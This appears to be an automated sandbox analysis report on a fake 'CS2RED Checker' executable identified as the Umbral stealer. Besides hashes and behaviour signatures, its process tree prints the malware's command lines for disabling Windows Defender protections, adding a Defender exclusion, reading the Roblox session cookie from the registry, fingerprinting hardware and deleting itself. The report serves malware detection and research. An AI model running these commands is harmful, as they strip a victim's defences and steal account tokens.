Analysis

  • max time kernel
    133s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-07-2024 14:24

General

  • Target

    CS2RED' Programs/CS2REDСhecker.exe

  • Size

    229KB

  • MD5

    8171222317c30d31448205d70bca990f

  • SHA1

    574d07820d3cb49c60a29defe88675072b9ae977

  • SHA256

    d7a96d169d8c99e83b7a4eb920b8934cedeaa0ce1619d0cc677a83e0556ca2c2

  • SHA512

    3a7f30a04f843294775b2501b9f51e4f2d2af4a834fa573791dcb2556526f4b834ac019bebab3fb9f062dd3012328cc2ea75db87df32d9b23346e2c495267e80

  • SSDEEP

    6144:lloZM+rIkd8g+EtXHkv/iD45S4Uhv0IH+2PxM4d5Zb8e1m4i:noZtL+EP85S4Uhv0IH+2PxM4dLq

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies registry class 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\CS2RED' Programs\CS2REDСhecker.exe
    "C:\Users\Admin\AppData\Local\Temp\CS2RED' Programs\CS2REDСhecker.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1440
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4896
    • C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\CS2RED' Programs\CS2REDСhecker.exe"
      2⤵
      • Views/modifies file attributes
      PID:1768
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\CS2RED' Programs\CS2REDСhecker.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4828
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2096
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1436
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1904
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3220
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
        PID:1620
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        2⤵
          PID:3316
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1596
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:3404
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\CS2RED' Programs\CS2REDСhecker.exe" && pause
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2016
          • C:\Windows\system32\PING.EXE
            ping localhost
            3⤵
            • Runs ping.exe
            PID:2792
      • C:\Windows\system32\taskmgr.exe
        "C:\Windows\system32\taskmgr.exe" /4
        1⤵
        • Checks SCSI registry key(s)
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2288
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=3760,i,15140928051103392835,1612840580898364401,262144 --variations-seed-version --mojo-platform-channel-handle=3848 /prefetch:8
        1⤵
          PID:2764
        • C:\Windows\System32\rundll32.exe
          C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
          1⤵
            PID:4464

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            2979eabc783eaca50de7be23dd4eafcf

            SHA1

            d709ce5f3a06b7958a67e20870bfd95b83cad2ea

            SHA256

            006cca90e78fbb571532a83082ac6712721a34ea4b21f490058ffb3f521f4903

            SHA512

            92bc433990572d9427d0c93eef9bd1cc23fa00ed60dd0c9c983d87d3421e02ce3f156c6f88fe916ef6782dbf185cbce083bc0094f8c527f302be6a37d1c53aba

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            948B

            MD5

            966914e2e771de7a4a57a95b6ecfa8a9

            SHA1

            7a32282fd51dd032967ed4d9a40cc57e265aeff2

            SHA256

            98d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba

            SHA512

            dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            276798eeb29a49dc6e199768bc9c2e71

            SHA1

            5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

            SHA256

            cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

            SHA512

            0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            cf1b06b44fb8bc1a4f25c85e70937782

            SHA1

            c4adeae41a97fc11d407c398040dd109873fb2e5

            SHA256

            04ddc18714503a6c256830af58a731df9d9ad479e87663787e0fa92424c9b743

            SHA512

            07fcfc741b14ef3551fdc53a08e31020fd9e1d43ab637535a11e318c9f8d48ea37cae3913539838e74299952a868a7824982ad5dc887992686d45050cc1fc7cf

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mmlftzxk.qj4.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/1440-68-0x000001BE75FA0000-0x000001BE75FAA000-memory.dmp

            Filesize

            40KB

          • memory/1440-1-0x000001BE5B950000-0x000001BE5B990000-memory.dmp

            Filesize

            256KB

          • memory/1440-69-0x000001BE76190000-0x000001BE761A2000-memory.dmp

            Filesize

            72KB

          • memory/1440-0-0x00007FFCAD6B3000-0x00007FFCAD6B5000-memory.dmp

            Filesize

            8KB

          • memory/1440-100-0x00007FFCAD6B0000-0x00007FFCAE171000-memory.dmp

            Filesize

            10.8MB

          • memory/1440-33-0x000001BE760D0000-0x000001BE76146000-memory.dmp

            Filesize

            472KB

          • memory/1440-34-0x000001BE75F40000-0x000001BE75F90000-memory.dmp

            Filesize

            320KB

          • memory/1440-35-0x000001BE76150000-0x000001BE7616E000-memory.dmp

            Filesize

            120KB

          • memory/1440-2-0x00007FFCAD6B0000-0x00007FFCAE171000-memory.dmp

            Filesize

            10.8MB

          • memory/2288-84-0x0000018C7FF80000-0x0000018C7FF81000-memory.dmp

            Filesize

            4KB

          • memory/2288-89-0x0000018C7FF80000-0x0000018C7FF81000-memory.dmp

            Filesize

            4KB

          • memory/2288-83-0x0000018C7FF80000-0x0000018C7FF81000-memory.dmp

            Filesize

            4KB

          • memory/2288-72-0x0000018C7FF80000-0x0000018C7FF81000-memory.dmp

            Filesize

            4KB

          • memory/2288-73-0x0000018C7FF80000-0x0000018C7FF81000-memory.dmp

            Filesize

            4KB

          • memory/2288-74-0x0000018C7FF80000-0x0000018C7FF81000-memory.dmp

            Filesize

            4KB

          • memory/2288-85-0x0000018C7FF80000-0x0000018C7FF81000-memory.dmp

            Filesize

            4KB

          • memory/2288-86-0x0000018C7FF80000-0x0000018C7FF81000-memory.dmp

            Filesize

            4KB

          • memory/2288-88-0x0000018C7FF80000-0x0000018C7FF81000-memory.dmp

            Filesize

            4KB

          • memory/2288-87-0x0000018C7FF80000-0x0000018C7FF81000-memory.dmp

            Filesize

            4KB

          • memory/4828-3-0x00007FFCAD6B0000-0x00007FFCAE171000-memory.dmp

            Filesize

            10.8MB

          • memory/4828-14-0x00007FFCAD6B0000-0x00007FFCAE171000-memory.dmp

            Filesize

            10.8MB

          • memory/4828-13-0x0000029BEC060000-0x0000029BEC082000-memory.dmp

            Filesize

            136KB

          • memory/4828-15-0x00007FFCAD6B0000-0x00007FFCAE171000-memory.dmp

            Filesize

            10.8MB

          • memory/4828-18-0x00007FFCAD6B0000-0x00007FFCAE171000-memory.dmp

            Filesize

            10.8MB